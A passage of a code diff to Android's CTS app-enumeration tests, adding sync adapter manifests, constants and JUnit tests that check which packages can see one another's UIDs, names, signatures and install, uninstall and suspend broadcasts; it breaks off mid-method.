diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter-sharedUser.xml b/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter-sharedUser.xml
new file mode 100644
index 0000000..158067d
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter-sharedUser.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2021 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.syncadapter.shareduid"
+          android:sharedUserId="android.appenumeration.shareduid">
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name="android.appenumeration.MockSyncAdapterService"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                       android:resource="@xml/syncadapter_shareduser"/>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter.xml b/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter.xml
new file mode 100644
index 0000000..f1177df
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-syncadapter.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2021 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.syncadapter">
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name="android.appenumeration.MockSyncAdapterService"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                       android:resource="@xml/syncadapter"/>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
index e198ea5..31fe275 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
@@ -1,31 +1,34 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.web.activity">
+     package="android.appenumeration.web.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.WebActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <data android:scheme="http" android:host="appenumeration.android"/>
-                <data android:scheme="https" android:host="appenumeration.android"/>
+                <data android:scheme="http"
+                     android:host="appenumeration.android"/>
+                <data android:scheme="https"
+                     android:host="appenumeration.android"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appenumeration/app/target/res/xml/syncadapter.xml b/tests/tests/appenumeration/app/target/res/xml/syncadapter.xml
new file mode 100644
index 0000000..325690a
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/res/xml/syncadapter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority="android.appenumeration.syncadapter.authority"
+    android:accountType="android.appenumeration.account.type"
+/>
diff --git a/tests/tests/appenumeration/app/target/res/xml/syncadapter_shareduser.xml b/tests/tests/appenumeration/app/target/res/xml/syncadapter_shareduser.xml
new file mode 100644
index 0000000..fd47011
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/res/xml/syncadapter_shareduser.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority="android.appenumeration.syncadapter.shareduid.authority"
+    android:accountType="android.appenumeration.account.type"
+/>
diff --git a/tests/tests/appenumeration/lib/Android.bp b/tests/tests/appenumeration/lib/Android.bp
index 56873ca..c608d2c 100644
--- a/tests/tests/appenumeration/lib/Android.bp
+++ b/tests/tests/appenumeration/lib/Android.bp
@@ -20,3 +20,8 @@
     name: "CtsAppEnumerationTestLib",
     srcs: ["src/**/*.java"],
 }
+
+java_library_host {
+    name: "CtsAppEnumerationTestLibHost",
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index d7c8dae..5c72fff 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -18,6 +18,7 @@
 
 public class Constants {
     public static final String PKG_BASE = "android.appenumeration.";
+    public static final String TEST_PKG = "android.appenumeration.cts";
 
     /** A package that queries for {@link #TARGET_NO_API} package */
     public static final String QUERIES_PACKAGE = PKG_BASE + "queries.pkg";
@@ -59,6 +60,12 @@
             PKG_BASE + "queries.nothing.sees.installer";
     /** A package that queries nothing, but is part of a shared user */
     public static final String QUERIES_NOTHING_SHARED_USER = PKG_BASE + "queries.nothing.shareduid";
+    /** A package that queries nothing, but uses a shared library */
+    public static final String QUERIES_NOTHING_USES_LIBRARY =
+            PKG_BASE + "queries.nothing.useslibrary";
+    /** A package that queries nothing, but uses a shared library */
+    public static final String QUERIES_NOTHING_USES_OPTIONAL_LIBRARY =
+            PKG_BASE + "queries.nothing.usesoptionallibrary";
     /** A package that queries via wildcard action. */
     public static final String QUERIES_WILDCARD_ACTION = PKG_BASE + "queries.wildcard.action";
     /** A package that queries for all BROWSABLE intents. */
@@ -87,6 +94,8 @@
             PKG_BASE + "forcequeryable.normalinstall";
     /** A package with no published API and so isn't queryable by anything but package name */
     public static final String TARGET_NO_API = PKG_BASE + "noapi";
+    /** A package with no published API and just for installing/uninstalling during test */
+    public static final String TARGET_STUB = PKG_BASE + "stub";
     /** A package that offers an activity used for opening / editing file types */
     public static final String TARGET_EDITOR = PKG_BASE + "editor.activity";
     /** A package that offers an activity used viewing a contact / profile */
@@ -99,9 +108,16 @@
     public static final String TARGET_BROWSER = PKG_BASE + "browser.activity";
     /** A package that offers an activity acts as a browser, but uses a wildcard for host */
     public static final String TARGET_BROWSER_WILDCARD = PKG_BASE + "browser.wildcard.activity";
+    /** A package that offers a shared library */
+    public static final String TARGET_SHARED_LIBRARY_PACKAGE = "com.android.cts.ctsshim";
+    /** A package that exposes itself as a syncadapter. */
+    public static final String TARGET_SYNCADAPTER = PKG_BASE + "syncadapter";
+    /** A package that exposes itself as a syncadapter with a shared uid. */
+    public static final String TARGET_SYNCADAPTER_SHARED_USER = PKG_BASE + "syncadapter.shareduid";
 
     private static final String BASE_PATH = "/data/local/tmp/cts/appenumeration/";
     public static final String TARGET_NO_API_APK = BASE_PATH + "CtsAppEnumerationNoApi.apk";
+    public static final String TARGET_STUB_APK = BASE_PATH + "CtsAppEnumerationStub.apk";
     public static final String TARGET_FILTERS_APK = BASE_PATH + "CtsAppEnumerationFilters.apk";
     public static final String QUERIES_NOTHING_SEES_INSTALLER_APK =
             BASE_PATH + "CtsAppEnumerationQueriesNothingSeesInstaller.apk";
@@ -133,6 +149,15 @@
     public static final String ACTION_MANIFEST_PROVIDER = PKG_BASE + "action.PROVIDER";
     public static final String ACTION_SEND_RESULT = PKG_BASE + "cts.action.SEND_RESULT";
     public static final String ACTION_GET_PACKAGE_INFO = PKG_BASE + "cts.action.GET_PACKAGE_INFO";
+    public static final String ACTION_GET_PACKAGES_FOR_UID =
+            PKG_BASE + "cts.action.GET_PACKAGES_FOR_UID";
+    public static final String ACTION_GET_NAME_FOR_UID =
+            PKG_BASE + "cts.action.GET_NAME_FOR_UID";
+    public static final String ACTION_GET_NAMES_FOR_UIDS =
+            PKG_BASE + "cts.action.GET_NAMES_FOR_UIDS";
+    public static final String ACTION_CHECK_SIGNATURES = PKG_BASE + "cts.action.CHECK_SIGNATURES";
+    public static final String ACTION_HAS_SIGNING_CERTIFICATE =
+            PKG_BASE + "cts.action.HAS_SIGNING_CERTIFICATE";
     public static final String ACTION_START_FOR_RESULT = PKG_BASE + "cts.action.START_FOR_RESULT";
     public static final String ACTION_START_DIRECTLY = PKG_BASE + "cts.action.START_DIRECTLY";
     public static final String ACTION_JUST_FINISH = PKG_BASE + "cts.action.JUST_FINISH";
@@ -153,10 +178,19 @@
             PKG_BASE + "cts.action.START_SENDER_FOR_RESULT";
     public static final String ACTION_QUERY_RESOLVER =
             PKG_BASE + "cts.action.QUERY_RESOLVER_FOR_VISIBILITY";
+    public static final String ACTION_BIND_SERVICE = PKG_BASE + "cts.action.BIND_SERVICE";
+    public static final String ACTION_GET_SYNCADAPTER_TYPES =
+            PKG_BASE + "cts.action.GET_SYNCADAPTER_TYPES";
+    public static final String ACTION_AWAIT_PACKAGES_SUSPENDED =
+            PKG_BASE + "cts.action.AWAIT_PACKAGES_SUSPENDED";
+    public static final String ACTION_LAUNCHER_APPS_IS_ACTIVITY_ENABLED =
+            PKG_BASE + "cts.action.LAUNCHER_APPS_IS_ACTIVITY_ENABLED";
 
     public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
+    public static final String EXTRA_REMOTE_READY_CALLBACK = "remoteReadyCallback";
     public static final String EXTRA_ERROR = "error";
     public static final String EXTRA_FLAGS = "flags";
     public static final String EXTRA_DATA = "data";
+    public static final String EXTRA_CERT = "cert";
     public static final String EXTRA_AUTHORITY = "authority";
 }
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index da15191..5f74347 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -16,9 +16,17 @@
 
 package android.appenumeration.cts;
 
+import static android.appenumeration.cts.Constants.ACTION_BIND_SERVICE;
+import static android.appenumeration.cts.Constants.ACTION_CHECK_SIGNATURES;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_PACKAGES;
+import static android.appenumeration.cts.Constants.ACTION_GET_NAMES_FOR_UIDS;
+import static android.appenumeration.cts.Constants.ACTION_GET_NAME_FOR_UID;
+import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGES_FOR_UID;
 import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGE_INFO;
+import static android.appenumeration.cts.Constants.ACTION_GET_SYNCADAPTER_TYPES;
+import static android.appenumeration.cts.Constants.ACTION_HAS_SIGNING_CERTIFICATE;
 import static android.appenumeration.cts.Constants.ACTION_JUST_FINISH;
+import static android.appenumeration.cts.Constants.ACTION_LAUNCHER_APPS_IS_ACTIVITY_ENABLED;
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_ACTIVITY;
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_PROVIDER;
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_SERVICE;
@@ -30,10 +38,12 @@
 import static android.appenumeration.cts.Constants.ACTION_START_FOR_RESULT;
 import static android.appenumeration.cts.Constants.ACTIVITY_CLASS_DUMMY_ACTIVITY;
 import static android.appenumeration.cts.Constants.ACTIVITY_CLASS_TEST;
+import static android.appenumeration.cts.Constants.EXTRA_CERT;
 import static android.appenumeration.cts.Constants.EXTRA_DATA;
 import static android.appenumeration.cts.Constants.EXTRA_ERROR;
 import static android.appenumeration.cts.Constants.EXTRA_FLAGS;
 import static android.appenumeration.cts.Constants.EXTRA_REMOTE_CALLBACK;
+import static android.appenumeration.cts.Constants.EXTRA_REMOTE_READY_CALLBACK;
 import static android.appenumeration.cts.Constants.QUERIES_ACTIVITY_ACTION;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PERM;
@@ -44,6 +54,8 @@
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER_APK;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SHARED_USER;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_USES_LIBRARY;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_USES_OPTIONAL_LIBRARY;
 import static android.appenumeration.cts.Constants.QUERIES_PACKAGE;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_ACTION;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_AUTH;
@@ -69,24 +81,39 @@
 import static android.appenumeration.cts.Constants.TARGET_FORCEQUERYABLE_NORMAL;
 import static android.appenumeration.cts.Constants.TARGET_NO_API;
 import static android.appenumeration.cts.Constants.TARGET_SHARE;
+import static android.appenumeration.cts.Constants.TARGET_SHARED_LIBRARY_PACKAGE;
 import static android.appenumeration.cts.Constants.TARGET_SHARED_USER;
+import static android.appenumeration.cts.Constants.TARGET_STUB;
+import static android.appenumeration.cts.Constants.TARGET_STUB_APK;
+import static android.appenumeration.cts.Constants.TARGET_SYNCADAPTER;
+import static android.appenumeration.cts.Constants.TARGET_SYNCADAPTER_SHARED_USER;
 import static android.appenumeration.cts.Constants.TARGET_WEB;
+import static android.content.pm.PackageManager.GET_SIGNING_CERTIFICATES;
 import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.SIGNATURE_MATCH;
+import static android.content.pm.PackageManager.SIGNATURE_UNKNOWN_PACKAGE;
+import static android.os.Process.INVALID_UID;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.arrayContainingInAnyOrder;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.hasItemInArray;
+import static org.hamcrest.Matchers.not;
 import static org.hamcrest.core.Is.is;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.SyncAdapterType;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.Signature;
 import android.content.res.Resources;
 import android.net.Uri;
 import android.os.Bundle;
@@ -111,7 +138,14 @@
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.List;
 import java.util.Objects;
 import java.util.UUID;
 import java.util.concurrent.TimeUnit;
@@ -125,6 +159,8 @@
 
     private static boolean sGlobalFeatureEnabled;
 
+    private static PackageManager sPm;
+
     @Rule
     public TestName name = new TestName();
 
@@ -146,6 +182,8 @@
         sResponseThread = new HandlerThread("response");
         sResponseThread.start();
         sResponseHandler = new Handler(sResponseThread.getLooper());
+
+        sPm = InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
     }
 
     @AfterClass
@@ -178,6 +216,15 @@
     }
 
     @Test
+    public void all_cannotSeeForceQueryableInstalledNormally() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE_NORMAL);
+    }
+
+    @Test
     public void startExplicitly_canStartNonVisible() throws Exception {
         assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
         startExplicitIntentViaComponent(QUERIES_NOTHING, TARGET_FILTERS);
@@ -392,6 +439,139 @@
         assertVisible(QUERIES_NOTHING, QUERIES_NOTHING_Q);
     }
 
+    @Test
+    public void queriesNothing_cannotSeeLibraryPackage() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_SHARED_LIBRARY_PACKAGE);
+    }
+
+    @Test
+    public void queriesNothingUsesLibrary_canSeeLibraryPackage() throws Exception {
+        assertVisible(QUERIES_NOTHING_USES_LIBRARY, TARGET_SHARED_LIBRARY_PACKAGE);
+    }
+
+    @Test
+    public void queriesNothing_cannotSeeOptionalLibraryPackage() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_SHARED_LIBRARY_PACKAGE);
+    }
+
+    @Test
+    public void queriesNothingUsesOptionalLibrary_canSeeLibraryPackage() throws Exception {
+        assertVisible(QUERIES_NOTHING_USES_OPTIONAL_LIBRARY, TARGET_SHARED_LIBRARY_PACKAGE);
+    }
+
+    @Test
+    public void queriesNothing_getPackagesForUid_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNull(getPackagesForUid(QUERIES_NOTHING, targetSharedUid));
+        Assert.assertNull(getPackagesForUid(QUERIES_NOTHING, targetUid));
+    }
+
+    @Test
+    public void queriesNothingHasPermission_getPackagesForUid_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNotNull(getPackagesForUid(QUERIES_NOTHING_PERM, targetSharedUid));
+        Assert.assertNotNull(getPackagesForUid(QUERIES_NOTHING_PERM, targetUid));
+    }
+
+    @Test
+    public void queriesNothing_getNameForUid_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNull(getNameForUid(QUERIES_NOTHING, targetSharedUid));
+        Assert.assertNull(getNameForUid(QUERIES_NOTHING, targetUid));
+    }
+
+    @Test
+    public void queriesNothingHasPermission_getNameForUid_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNotNull(getNameForUid(QUERIES_NOTHING_PERM, targetSharedUid));
+        Assert.assertNotNull(getNameForUid(QUERIES_NOTHING_PERM, targetUid));
+    }
+
+    @Test
+    public void queriesNothing_getNamesForUids_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNull(getNamesForUids(QUERIES_NOTHING, targetSharedUid)[0]);
+        Assert.assertNull(getNamesForUids(QUERIES_NOTHING, targetUid)[0]);
+    }
+
+    @Test
+    public void queriesNothingHasPermission_getNamesForUids_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertNotNull(getNamesForUids(QUERIES_NOTHING_PERM, targetSharedUid)[0]);
+        Assert.assertNotNull(getNamesForUids(QUERIES_NOTHING_PERM, targetUid)[0]);
+    }
+
+    @Test
+    public void queriesNothing_checkSignatures_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertEquals(SIGNATURE_UNKNOWN_PACKAGE,
+                checkSignatures(QUERIES_NOTHING, targetSharedUid));
+        Assert.assertEquals(SIGNATURE_UNKNOWN_PACKAGE,
+                checkSignatures(QUERIES_NOTHING, targetUid));
+    }
+
+    @Test
+    public void queriesNothingHasPermission_checkSignatures_consistentVisibility()
+            throws Exception {
+        final int targetSharedUid = sPm.getPackageUid(TARGET_SHARED_USER, /* flags */ 0);
+        final int targetUid = sPm.getPackageUid(TARGET_FILTERS, /* flags */ 0);
+        Assert.assertEquals(SIGNATURE_MATCH,
+                checkSignatures(QUERIES_NOTHING_PERM, targetSharedUid));
+        Assert.assertEquals(SIGNATURE_MATCH, checkSignatures(QUERIES_NOTHING_PERM, targetUid));
+    }
+
+    @Test
+    public void queriesNothing_hasSigningCertificate_consistentVisibility() throws Exception {
+        final PackageInfo targetSharedUidInfo = sPm.getPackageInfo(TARGET_SHARED_USER,
+                GET_SIGNING_CERTIFICATES);
+        final PackageInfo targetUidInfo = sPm.getPackageInfo(TARGET_FILTERS,
+                GET_SIGNING_CERTIFICATES);
+        final byte[] targetSharedCert = convertSignaturesToCertificates(
+                targetSharedUidInfo.signingInfo.getApkContentsSigners()).get(0).getEncoded();
+        final byte[] targetCert = convertSignaturesToCertificates(
+                targetUidInfo.signingInfo.getApkContentsSigners()).get(0).getEncoded();
+
+        Assert.assertFalse(
+                hasSigningCertificate(QUERIES_NOTHING, targetSharedUidInfo.applicationInfo.uid,
+                        targetSharedCert));
+        Assert.assertFalse(
+                hasSigningCertificate(QUERIES_NOTHING, targetUidInfo.applicationInfo.uid,
+                        targetCert));
+    }
+
+    @Test
+    public void queriesNothingHasPermission_hasSigningCertificate_consistentVisibility()
+            throws Exception {
+        final PackageInfo targetSharedUidInfo = sPm.getPackageInfo(TARGET_SHARED_USER,
+                GET_SIGNING_CERTIFICATES);
+        final PackageInfo targetUidInfo = sPm.getPackageInfo(TARGET_FILTERS,
+                GET_SIGNING_CERTIFICATES);
+        final byte[] targetSharedCert = convertSignaturesToCertificates(
+                targetSharedUidInfo.signingInfo.getApkContentsSigners()).get(0).getEncoded();
+        final byte[] targetCert = convertSignaturesToCertificates(
+                targetUidInfo.signingInfo.getApkContentsSigners()).get(0).getEncoded();
+
+        Assert.assertTrue(
+                hasSigningCertificate(QUERIES_NOTHING_PERM, targetSharedUidInfo.applicationInfo.uid,
+                        targetSharedCert));
+        Assert.assertTrue(
+                hasSigningCertificate(QUERIES_NOTHING_PERM, targetUidInfo.applicationInfo.uid,
+                        targetCert));
+    }
 
     @Test
     public void sharedUserMember_canSeeOtherMember() throws Exception {
@@ -449,8 +629,9 @@
 
     @Test
     public void broadcastAdded_notVisibleDoesNotReceive() throws Exception {
-        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS, null,
-                Constants.ACTION_AWAIT_PACKAGE_ADDED);
+        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_ADDED, /* waitForReady */ true);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
             result.await();
@@ -462,8 +643,9 @@
 
     @Test
     public void broadcastAdded_visibleReceives() throws Exception {
-        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS, null,
-                Constants.ACTION_AWAIT_PACKAGE_ADDED);
+        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_ADDED, /* waitForReady */ true);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
             Assert.assertEquals(TARGET_FILTERS,
@@ -474,9 +656,10 @@
     }
 
     @Test
-    public void broadcastRemoved_notVisibleDoesNotReceive() throws Exception {
-        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS, null,
-                Constants.ACTION_AWAIT_PACKAGE_REMOVED);
+    public void reinstallTarget_broadcastRemoved_notVisibleDoesNotReceive() throws Exception {
+        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_REMOVED, /* waitForReady */ true);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
             result.await();
@@ -487,9 +670,10 @@
     }
 
     @Test
-    public void broadcastRemoved_visibleReceives() throws Exception {
-        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS, null,
-                Constants.ACTION_AWAIT_PACKAGE_REMOVED);
+    public void reinstallTarget_broadcastRemoved_visibleReceives() throws Exception {
+        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_REMOVED, /* waitForReady */ true);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
             Assert.assertEquals(TARGET_FILTERS,
@@ -500,6 +684,57 @@
     }
 
     @Test
+    public void uninstallTarget_broadcastRemoved_notVisibleDoesNotReceive() throws Exception {
+        ensurePackageIsInstalled(TARGET_STUB, TARGET_STUB_APK);
+        final Result result = sendCommand(QUERIES_NOTHING, TARGET_STUB,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_REMOVED, /* waitForReady */ true);
+        runShellCommand("pm uninstall " + TARGET_STUB);
+        try {
+            result.await();
+            fail();
+        } catch (MissingBroadcastException e) {
+            // hooray
+        }
+    }
+
+    @Test
+    public void uninstallTarget_broadcastRemoved_visibleReceives() throws Exception {
+        ensurePackageIsInstalled(TARGET_STUB, TARGET_STUB_APK);
+        final Result result = sendCommand(QUERIES_NOTHING_PERM, TARGET_STUB,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
+                Constants.ACTION_AWAIT_PACKAGE_REMOVED, /* waitForReady */ true);
+        runShellCommand("pm uninstall " + TARGET_STUB);
+        try {
+            Assert.assertEquals(TARGET_STUB,
+                    Uri.parse(result.await().getString(EXTRA_DATA)).getSchemeSpecificPart());
+        } catch (MissingBroadcastException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void broadcastSuspended_visibleReceives() throws Exception {
+        assertBroadcastSuspendedVisible(QUERIES_PACKAGE,
+                Arrays.asList(TARGET_NO_API, TARGET_SYNCADAPTER),
+                Arrays.asList(TARGET_NO_API, TARGET_SYNCADAPTER));
+    }
+
+    @Test
+    public void broadcastSuspended_notVisibleDoesNotReceive() throws Exception {
+        assertBroadcastSuspendedVisible(QUERIES_NOTHING,
+                Arrays.asList(),
+                Arrays.asList(TARGET_NO_API, TARGET_SYNCADAPTER));
+    }
+
+    @Test
+    public void broadcastSuspended_visibleReceivesAndNotVisibleDoesNotReceive() throws Exception {
